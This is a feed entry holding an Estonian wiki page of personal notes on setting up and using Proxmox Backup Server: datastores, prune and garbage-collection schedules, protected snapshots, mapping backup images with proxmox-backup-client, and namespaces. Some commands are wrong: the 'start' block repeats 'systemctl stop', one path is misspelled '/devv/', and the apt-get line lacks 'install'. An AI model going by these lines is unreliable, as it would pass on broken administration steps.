* https://git.proxmox.com/?p=pve-qemu.git;a=blob_plain;f=backup.txt&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_Backup_Server&amp;diff=3413</id>
		<title>Proxmox Backup Server</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_Backup_Server&amp;diff=3413"/>
		<updated>2026-05-02T12:22:09Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* PBS - Proxmox Backup Server&lt;br /&gt;
* PVE - Proxmox Virtualization Environment&lt;br /&gt;
* DS - datastore&lt;br /&gt;
* NS - namespace&lt;br /&gt;
* GC - garbage collect&lt;br /&gt;
* Purne - &lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* PBS vaikimisi pakib, st ei ole mõtet kasutada PBS storage juures pakkivat failisüsteemi vms (nt 'zfs create -o compression=lz4 ...' vms; tundub, et failisüstteemi pakkimise kasutmine ei muuda varundamiseks kuluvat aega ega mahtu, aga pbs serverile tekib natuke rohkem cpu koormust)&lt;br /&gt;
* PBS tegleb ise pakkimisega ja paistab, et seda ei saagi välja lülitada (nt proxmox pve webgui haldusliideses backup käivitamise on 'Compression: ZSTD (fast and good)' greyed-out&lt;br /&gt;
* mitu PSB serverit saab omavahel nö kokku aheldada, tulemusena tekib mitme etapiline varundus (varundus varundab varundust)&lt;br /&gt;
&lt;br /&gt;
Kasutusalad&lt;br /&gt;
&lt;br /&gt;
* varundatud ja riknenud arvuti asendamine varundusest taastatud arvutiga&lt;br /&gt;
* varundatud arvuti taastamine teisse proxmox klastrisse (nt kontrolli või uuringu eesmärgil)&lt;br /&gt;
&lt;br /&gt;
Üks võimalik kasutusjuhtum&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                         CLTARTU&lt;br /&gt;
&lt;br /&gt;
               pve-tartu-1             pve-tartu-2              pve-tartu-n&lt;br /&gt;
           __________________       __________________       __________________&lt;br /&gt;
          |                  |     |                  |     |                  |&lt;br /&gt;
          | vm1 (vmid=1001)  |     | vm3 (vmid=1003)  |     | vm5 (vmid=1005)  |&lt;br /&gt;
          | vm2 (vmid=1002)  |     | vm4 (vmid=1004)  |     | vm6 (vmid=1006)  |&lt;br /&gt;
          |__________________|     |__________________|     |__________________|&lt;br /&gt;
                    |                        |                        |&lt;br /&gt;
                    |                        |                        |&lt;br /&gt;
         -----------|-----------------|------|---------------------|--|-----------&lt;br /&gt;
                                      |                            |&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                 |             _______|_______             ________|________&lt;br /&gt;
                 |            |               |           |                 |&lt;br /&gt;
                 '---------&amp;gt;  |   ns-tartu    | &amp;lt;-------  |    ns-tartu     |&lt;br /&gt;
                              |               |           |                 |&lt;br /&gt;
                              | pbs-tartu-1st |           | pbs-tallinn-2nd |&lt;br /&gt;
                              |               |           |                 |&lt;br /&gt;
                 ,---------&amp;gt;  |  ns-tallinn   | &amp;lt;-------  |   ns-tallinn    |&lt;br /&gt;
                 |            |_______________|           |_________________|&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                 |                    |                            |&lt;br /&gt;
                                      |                            |&lt;br /&gt;
         ----------|------------------|------|---------------------|-|---------------&lt;br /&gt;
                   |                         |                       |&lt;br /&gt;
                   |                         |                       |&lt;br /&gt;
           ________|_________       _________|________       ________|_________&lt;br /&gt;
          |                  |     |                  |     |                  |&lt;br /&gt;
          | vm1 (vmid=1001)  |     | vm3 (vmid=1003)  |     | vm5 (vmid=1005)  |&lt;br /&gt;
          | vm2 (vmid=1002)  |     | vm4 (vmid=1004)  |     | vm6 (vmid=1006)  |&lt;br /&gt;
          |__________________|     |__________________|     |__________________|&lt;br /&gt;
&lt;br /&gt;
              pve-tallinn-1           pve-tallinn-2             pve-tallinn-n&lt;br /&gt;
&lt;br /&gt;
                                         CLTALLINN                                            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* pve-1, 2 ja 3 on proxmox virtual environment host arvutid&lt;br /&gt;
* vm1, vm2 ... vm6 on pve peal töötavad virtuaalsed arvutid&lt;br /&gt;
* pbs-1st on proxmox backup server abil realiseeritud esimese taseme varundus&lt;br /&gt;
* pbs-2nd on proxmox backup server abil realiseeritud teise taseme varundus&lt;br /&gt;
* pve-1 ... 3 peavad reeglina asuma samas subnetis&lt;br /&gt;
* pbs-1st ja 2nd ei pea asuma samas subnetis pve arvutitega ega ise üksteisega&lt;br /&gt;
* CLTARTU ja CLTALLINN - PVE klastrite nimed&lt;br /&gt;
&lt;br /&gt;
Varundamisega seotud võrguliiklus&lt;br /&gt;
&lt;br /&gt;
* andmeliikluse algamise mõttes pöörduvad nii vmN arvutid kui pbs-2nd arvuti pbs-1st arvuti poole&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Seadistamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Datastore lisamine - pbs ja webgui====&lt;br /&gt;
&lt;br /&gt;
Järgneva eelduseks on, et pbs on paigaldatud ning arvutis on üks kasutamata /dev/vdc vms plokkseade. Datastore on võimalik seadistada pbs webgui liidese abil&lt;br /&gt;
&lt;br /&gt;
 Administration -&amp;gt; Storage/Disks -&amp;gt; Directory -&amp;gt; Create: Directory&lt;br /&gt;
&lt;br /&gt;
ning avanenud dialoogis täita lahtrid&lt;br /&gt;
&lt;br /&gt;
* Disk - /dev/vdc&lt;br /&gt;
* Filesystem - ext4&lt;br /&gt;
* Name - ds-pbs-tmp&lt;br /&gt;
* Add as Datastore - linnutada&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekitatakse systemd mount objekt, mis monteerib failisüsteemi /mnt/datastore alamkataloogiks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/systemd/system/mnt-datastore-ds\\x2dpbs\\x2dtmp.mount &lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Mount datatstore 'ds-pbs-tmp' under '/mnt/datastore/ds-pbs-tmp'&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
Options=defaults&lt;br /&gt;
Type=ext4&lt;br /&gt;
What=/dev/disk/by-uuid/5d52fefc-212a-45dc-ab68-dc55dc3ed051&lt;br /&gt;
Where=/mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mis täpsemalt paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -t ext4 -h&lt;br /&gt;
Filesystem                        Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/mapper/pbs-root               21G  1.8G   19G   9% /&lt;br /&gt;
/dev/vdc1                         108G  258M  102G   1% /mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning lisaks võetakse kasutusele datastore'ina&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/proxmox-backup/datastore.cfg &lt;br /&gt;
datastore: ds-pbs-tmp&lt;br /&gt;
	path /mnt/datastore/ds-pbs-tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Siin on mitu nö probleemi&lt;br /&gt;
&lt;br /&gt;
* ketas partitsioneeritakse - see teeb ebamugavaks /dev/vdc suurendamise, käigult ei saagi hästi suurendada&lt;br /&gt;
* süsteemis osa failisüsteeme monteeritakse /etc/fstab abil ja osa systemd vahenditega&lt;br /&gt;
* /mnt alune on üldiselt natuke ebaloomulik koht püsivaks kasutuseks asjade pidamiseks (/mnt on ad hoc monteerimisteks, ja /srv püsivateks) - vt https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard&lt;br /&gt;
&lt;br /&gt;
====Datastore lisamine - käsitsi ja webgui====&lt;br /&gt;
&lt;br /&gt;
Ehk otsekohesem ja ka suurema kontrolli tulemuse üle saab nö tavalisel viisil monteerides /etc/fstab abil /srv/pbs alla failisüsteemi ning siis webgui pealt seadistada pbs tarkvara seda kasutama.&lt;br /&gt;
&lt;br /&gt;
 # pvcreate /dev/vdc&lt;br /&gt;
 # vgcreate vg_pbs /dev/vdc&lt;br /&gt;
 # lvcreate -l +100%FREE -n srv_pbs vg_pbs&lt;br /&gt;
 # mkfs.ext4 /devv/vg_pbs/srv_pbs&lt;br /&gt;
 # # cat /etc/fstab &lt;br /&gt;
 ...&lt;br /&gt;
 /dev/vg_pbs/srv_pbs /srv/pbs ext4 defaults 0 0&lt;br /&gt;
 # mkdir /srv/pbs&lt;br /&gt;
 # mount /srv/pbs&lt;br /&gt;
&lt;br /&gt;
ext4 failisüsteemi kasutamisel kasutatakse veel nö vahel lisaks lvm kihti, see teeb võimalikud muudatused sujuvamaks, nt saab kunagi plokkseadme asendada käigult pvmove abil.&lt;br /&gt;
&lt;br /&gt;
Kui /srv/pbs kataloogi alla on failisüsteem monteeritud, siis sobib webgui peal öelda&lt;br /&gt;
&lt;br /&gt;
 Datastore -&amp;gt; Add Datastore&lt;br /&gt;
&lt;br /&gt;
ning täita lahtrid&lt;br /&gt;
&lt;br /&gt;
* Name - ds-pbs&lt;br /&gt;
* Backing Path: /srv/pbs&lt;br /&gt;
&lt;br /&gt;
===Kasutamine - varundamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Seadistatud ja varundamisega tegelevas PBS serveris on muu hulgas sellised failid&lt;br /&gt;
&lt;br /&gt;
* datastore'ide kirjeldus - /etc/proxmox-backup/datastore.cfg&lt;br /&gt;
* proxmox kasutajatega seotud andmed - shadow.json, user.cfg ja acl.cfg&lt;br /&gt;
* 2nd stage kopeerimise ligipääsu kirjeldus - /etc/proxmox-backup/remote.cfg&lt;br /&gt;
&lt;br /&gt;
===Kasutatamine - taastamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Haldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pbs tarkvara juhtimiseks on kaks käivitusskripti, seiskamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup-proxy&lt;br /&gt;
 # systemctl stop proxmox-backup&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup&lt;br /&gt;
 # systemctl stop proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
proxmox-backup-proxy kuulab 8007 võrku, apt teenus jms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@varundus-2nd:/srv# netstat -lnpt | grep backup&lt;br /&gt;
tcp        0      0 127.0.0.1:82            0.0.0.0:*               LISTEN      3461/proxmox-backup &lt;br /&gt;
tcp6       0      0 :::8007                 :::*                    LISTEN      3476/proxmox-backup &lt;br /&gt;
&lt;br /&gt;
root@varundus-2nd:/srv# ps aux | grep 3476&lt;br /&gt;
backup    3476 16.6  1.6 844856 51096 ?        Ssl  21:59   0:32 /usr/lib/x86_64-linux-gnu/proxmox-backup/proxmox-backup-proxy&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Andmesalvestuse asukohtade jms seadistused asuvad failis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# cat /etc/proxmox-backup/datastore.cfg &lt;br /&gt;
datastore: ds_zpool_wds_pbs&lt;br /&gt;
	comment &lt;br /&gt;
	gc-schedule daily&lt;br /&gt;
	path /zpool_wdc/pbs&lt;br /&gt;
	prune-schedule daily&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===PBS schedule kasutamine===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* virtuaalsete arvutite regulaarsed varundamised seadistatakse Proxmox VE keskkonnas (nt proxmox hostide webgui haldusliidestes)&lt;br /&gt;
* varundamine toimib proxmox host algatusel&lt;br /&gt;
* varundatud varunduste regulaarne harvendamine toimub proxmox backup serveri webgui haldusliideses seadistatu alusel; ja pbs algatusel&lt;br /&gt;
* Prune - tegeleb nö kataloogist vana varunduse eemaldamisega&lt;br /&gt;
* GC (garbage collection) - tegeleb kataloogist kustatule vastavate andmete osa vabastamisega salvestusseadmelt&lt;br /&gt;
&lt;br /&gt;
====Regulaarsete varundamiste seadistamine - PVE====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti regulaarse varundamise seadistamiseks sobib virtuaalse arvuti juures veenduda, et plokkseadmete juures ei ole märget&lt;br /&gt;
&lt;br /&gt;
 backup=0&lt;br /&gt;
&lt;br /&gt;
Seejärel avada&lt;br /&gt;
&lt;br /&gt;
 Datacenter -&amp;gt; Backup -&amp;gt; Add (või Edit kui juba on olemas)&lt;br /&gt;
&lt;br /&gt;
ning linnutada ära sobiv arvuti.&lt;br /&gt;
&lt;br /&gt;
====Regulaarsete kustutamise seadistamine - PBS====&lt;br /&gt;
&lt;br /&gt;
Logida sisse varundamise arvutisse ja valida&lt;br /&gt;
&lt;br /&gt;
 Datastore -&amp;gt; ds_nimi -&amp;gt; Prune &amp;amp; GC&lt;br /&gt;
&lt;br /&gt;
ning seadistada Prune rutiin&lt;br /&gt;
&lt;br /&gt;
* Keep Last&lt;br /&gt;
* Keep Hourly&lt;br /&gt;
* ..&lt;br /&gt;
* Keep Yearly&lt;br /&gt;
&lt;br /&gt;
ning seadistada Prune ja CG alguse aeg.&lt;br /&gt;
&lt;br /&gt;
====Protected====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi prunemine kustutab hiljem või varem kõik varundused ära. Kui soovitakse mõnda seisu (olgu see moodustunud automaatselt või käsitsi) säilitada lõpmatult kaua, siis sobib märkida ta Protected olekusse. Seda saab teha PVE 7.1 webgui liideses, ja PBS v. 2.1 webgui liidses&lt;br /&gt;
&lt;br /&gt;
  Datastore -&amp;gt; ds_nimi -&amp;gt; Content -&amp;gt; Group -&amp;gt; snapshot&lt;br /&gt;
&lt;br /&gt;
* group - virtuaalne arvuti&lt;br /&gt;
* snapshot - konkreetsele ajale vastav varundus&lt;br /&gt;
&lt;br /&gt;
Kõigi toimunud varunduste protected olekusse seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# export PBS_PASSWORD=&amp;quot;xxx&amp;quot;&lt;br /&gt;
# cat pbs-protected.sh&lt;br /&gt;
for i in `proxmox-backup-client list  --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff | awk {'print $2'} | grep &amp;quot;^vm&amp;quot;`; do &lt;br /&gt;
  for j in `proxmox-backup-client snapshot list ${i} --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff | awk {'print $2'} | grep ^vm`; do &lt;br /&gt;
    proxmox-backup-client snapshot protected update ${j} true --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff;&lt;br /&gt;
  done; &lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# sh pbs-protected.sh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Edukast tulemusest annab tunnistust varunduste Content vaates, et snaphost real on Protected pildike muutunud hallist roheliseks.&lt;br /&gt;
&lt;br /&gt;
====Prune simulator====&lt;br /&gt;
&lt;br /&gt;
Aadressil https://pbs.proxmox.com/docs/prune-simulator/ asub tore simulaator, mille abil illustreeritakse milliseid konkreetseid varundusi prunemine tabab.&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Varundamise kasutamine võib olla lihtsam ja varundus kvaliteetsem (kooskõlalisem) kui varundatavate arvutite failisüsteemid ei ole laiali määritud mitmele plokkseadmele (nt lvm volume group asub ühel virtio plokkseadmel).&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pbs.proxmox.com/docs/prune-simulator/&lt;br /&gt;
&lt;br /&gt;
===PVE integreeritud varunduse kasutamine proxmox-backup-client abil===&lt;br /&gt;
&lt;br /&gt;
PVE integreeritud varunduse kasutamiseks on vaja&lt;br /&gt;
&lt;br /&gt;
* varundatud andmeid PBS serveris&lt;br /&gt;
* varunduse serverile üle nn api port 8007 liidese ligipääsu&lt;br /&gt;
* teada datastore nime varunduse arvutis&lt;br /&gt;
* nö klientarvutit kuhu on paigaldatud proxmox-backup-client tarkvara (see võiks olla nö kolmas arvuti, st mitte pbs ega varundatud arvuti ise)&lt;br /&gt;
&lt;br /&gt;
Varundatud arvutite nimekirja küsimine (nn group'id)&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client list --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 Password for &amp;quot;pm60-trt@pbs&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
Varundatud arvuti varunduste nimekirja küsimine (nn snapshot'id)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-backup-client snapshot list vm/194 --output-format text  --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
┌─────────────────────────────┬────────┬────────────────────────────────────────────────────────────────────────────┐&lt;br /&gt;
│ snapshot                    │   size │ files                                                                      │&lt;br /&gt;
╞═════════════════════════════╪════════╪════════════════════════════════════════════════════════════════════════════╡&lt;br /&gt;
│ vm/194/2021-01-02T13:23:12Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
├─────────────────────────────┼────────┼────────────────────────────────────────────────────────────────────────────┤&lt;br /&gt;
│ vm/194/2021-01-02T14:26:53Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
├─────────────────────────────┼────────┼────────────────────────────────────────────────────────────────────────────┤&lt;br /&gt;
│ vm/194/2021-10-09T20:59:42Z │ 34 GiB │ client.log drive-virtio0.img drive-virtio1.img index.json qemu-server.conf │&lt;br /&gt;
└─────────────────────────────┴────────┴────────────────────────────────────────────────────────────────────────────┘&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protection muutmine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client snapshot protected update vm/194/2021-01-02T13:23:12Z  true --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client snapshot protected update vm/194/2021-01-02T13:23:12Z  false --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
&lt;br /&gt;
Tõmmise kasutamine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio0.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio1.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
 # proxmox-backup-client map vm/106/2021-02-20T21:27:29Z drive-virtio2.img --repository pm60-trt@pbs@192.168.99.199:ds_zpool_wds_pbs_coff&lt;br /&gt;
&lt;br /&gt;
kui virtuaalses arvuti on moodustatud neile nt lvm, siis tuleks öelda&lt;br /&gt;
&lt;br /&gt;
 # vgchange -a y&lt;br /&gt;
 # lvdisplay&lt;br /&gt;
 # mount -o ro,norecovery /dev/sys/root /mnt/root&lt;br /&gt;
&lt;br /&gt;
Seejärel saab /mnt/root alt kasutada varundatud seisu nii nagu tavalist read-only failisüsteemi. Kasutamise lõpetamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/root&lt;br /&gt;
 # vgchange -a n&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio0.img&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio1.img&lt;br /&gt;
 # proxmox-backup-client unmap drive-virtio2.img&lt;br /&gt;
&lt;br /&gt;
ilma viimase argumendita esitatakse mapped ressursside nimekiri&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-backup-client unmap&lt;br /&gt;
/dev/loop26:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio2.img&lt;br /&gt;
/dev/loop25:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio1.img&lt;br /&gt;
/dev/loop24:	pm60-trt@pbs@192.168.99.199:8007:ds_zpool_wds_pbs_coff:vm/106/2021-02-20T21:27:29Z/drive-virtio0.img&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
proxmox-backup-client nn kolmanda arvuti ettevalmistamine&lt;br /&gt;
&lt;br /&gt;
Esmalt paigaldada Ubuntu 20.04 või Debian v. 10 või v. 11 nö tavaliselt viisil. Seejärel lisada repo võti, nt Ubuntu 20.04 puhul&lt;br /&gt;
&lt;br /&gt;
 # wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg&lt;br /&gt;
&lt;br /&gt;
Moodustada source fail&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pbs-client.list &lt;br /&gt;
 deb [arch=amd64] http://download.proxmox.com/debian/pbs-client buster main&lt;br /&gt;
&lt;br /&gt;
Paigaldada tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get proxmox-backup-client&lt;br /&gt;
&lt;br /&gt;
===Namespace kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace list  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
Password for &amp;quot;root@pam&amp;quot;: ************&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace create tere  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
root@tmp-pbs:~# proxmox-backup-client namespace list  --repository root@pam@tmp-pbs.sise.moraal.ee:ds_tmp_tmp&lt;br /&gt;
tere&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
PBS töötamise käigus kasutatakse katalooge selliselt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /srv/pbs-rmt/* /srv/pbs-rmt/ns/* /srv/pbs-rmt/.chunks /srv/pbs-rmt/ns/tmp-pve-1/vm/5001/*/*&lt;br /&gt;
drwxr-x--- 1 backup backup 1060864 Dec 17 16:27 /srv/pbs-rmt/.chunks&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:33 /srv/pbs-rmt/ns&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:33 /srv/pbs-rmt/vm&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tartu&lt;br /&gt;
drwxr-xr-x 3 backup backup    4096 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn&lt;br /&gt;
-rw-r--r-- 1 backup backup     627 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/client.log.blob&lt;br /&gt;
-rw-r--r-- 1 backup backup   86016 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/drive-virtio0.img.fidx&lt;br /&gt;
-rw-r--r-- 1 backup backup     422 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/index.json.blob&lt;br /&gt;
-rw-r--r-- 1 backup backup     355 Dec 17 16:36 /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z/qemu-server.conf.blob&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /srv/pbs-rmt/ns/ns-pve-tartu - konkreetsele namespace'ile vastav kataloog, tõenäoliselt varundatakse ühe namespace alla ühte pve setup'i (kas standalone proxmox või pve klaster); üks pbs võimaldab namespace instrumendi abil teenindada mitmete pve setup'ide varundamist seejuures vältides vmid väärtuste jms konflikte&lt;br /&gt;
* /srv/pbs-rmt/.chunks - varundatud andmed (siin toimub dedupleerimine, pakkimine jms) - seal on koos kõigi namespace'ide alla kuuluvad andmed&lt;br /&gt;
* /srv/pbs-rmt/ns/ns-pve-tallinn/vm/5001/2022-12-17T10:40:02Z - arvuti vmid=5001 ühele konkreetsele varunduskorrale (tavaliselt on selliseid kuupäeva + kellaaeg nimelisi kataloogi mitu) vastvad metaandmeid; selle info abil oskab pbs taastada sh leiab üles .chunks kataloogist vajalikud varundatud andmed&lt;br /&gt;
* /srv/pbs-rmt/vm - namespace eelse aja varunduskorra metaandmete kataloog - vastab praegu namespace nimele 'Root'&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* namespace eelsel ajal liigendati mitut pve setuppi teenindava pbs serveri sees varundamisi erinevate datastore'ide moodustamise abil; namespace ajal kasutatakse pigem ühte datastore'i ning selle see liigendatakse erinevaid pve setuppisid namespace instrumendi abil&lt;br /&gt;
* tundub, et pbs webgui ja proxmox-backup-client utiliidile lisaks saab teatud tegevusi edukalt sooritada ka niisama ehedalt /etc/proxmox-backup-server kataloogi aluseid faile redigeerides&lt;br /&gt;
* tundub, et pbs serverisse moodustatud datastore'ile vastavat kataloogi (koos kogu selle sisuga) saab liigutada edukalt ühelt pbs serverilt teisele ja edasi kasutada (nt taasteks)&lt;br /&gt;
* tundub, et 1st ja 2nd proxmox serverisse moodustatud datastore on iseenesest täpselt samaväärne (nt saab ühe pve setup jaoks kasutusel olevat 2nd (ehk remote) pbs arvutit kasutada teise pve setup juures 1st pbs arvutina&lt;br /&gt;
* tundub, et pbs on väga robustne tarkvara, st tema töötamisega ei kaasne mingeid salajasi binari andmebaase vms - kõik vajalik on /etc/proxmox-backup-server kataloogis või nö /srv/pbs failisüsteemis ja seadistused on tekstifailide kujul mida saab ettevaatlikult ka käsitsi tekstiredaktoriga hallata&lt;br /&gt;
&lt;br /&gt;
===Robustsed tegevused===&lt;br /&gt;
&lt;br /&gt;
Sarnaselt nagu tar programmiga on võimalik töötada .tar arhiivi failiga, muu hulgas&lt;br /&gt;
&lt;br /&gt;
* moodustada arhiivi&lt;br /&gt;
* esitada arhiivi kopeeritud failide nimekiri&lt;br /&gt;
* kopeerida arhiivist välja&lt;br /&gt;
* lisada faile arhiivi&lt;br /&gt;
* eemaldada faile arhiivist&lt;br /&gt;
&lt;br /&gt;
on võimalik PBS tarkvaraga teha samu tegevusi, kuid natuke teisel abstraktsiooni tasemel&lt;br /&gt;
&lt;br /&gt;
* seadistada pbs varunduse serverisse datastore&lt;br /&gt;
* kopeerida PVE keskkonnast virtuaalsete arvutite virtuaalseid plokkseadmeid datastore'i (virtuaalsele arvutile vastava komplektina)&lt;br /&gt;
* eemaldada PBS datastore pealt sinna kopeeritud arvuteid&lt;br /&gt;
* esitada datastore peale kopeeritud arvutite nimekiri&lt;br /&gt;
* kontrollida datastore peal olevate andmete terviklust&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* kui tar puhul on tööriistaks programm 'tar', siis pbs puhul on tööriistaks debian operatsioonisüsteem ja sellesse paigaldatud pbs tarkvara&lt;br /&gt;
* kui tar puhul on andmeteks .tar arhiiv st üks fail (seal on nii andmed kui metaandmed), siis pbs puhul on andmeteks /srv/pbs/.chunks, /srv/pbs/ns jt kataloogid (seal on nii andmed kui metaandmed)&lt;br /&gt;
* kui .tar arhiivist ei ole praktiliselt mõeldav mingi konkreetse andme kätte saamine ilma tar utiliidita, siis pbs puhul on olukord sarnane&lt;br /&gt;
* .tar arhiiv on võimalik moodustada ühes arvutis ja kasutada teises arvutis (natuke erineva tar programmi versiooniga), pbs puhul on olukord sarnane&lt;br /&gt;
&lt;br /&gt;
Tundub, et robustsete tegevuste eel on tark pbs protsessid ära lõpetada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
ja seejärel on nt võimalik&lt;br /&gt;
&lt;br /&gt;
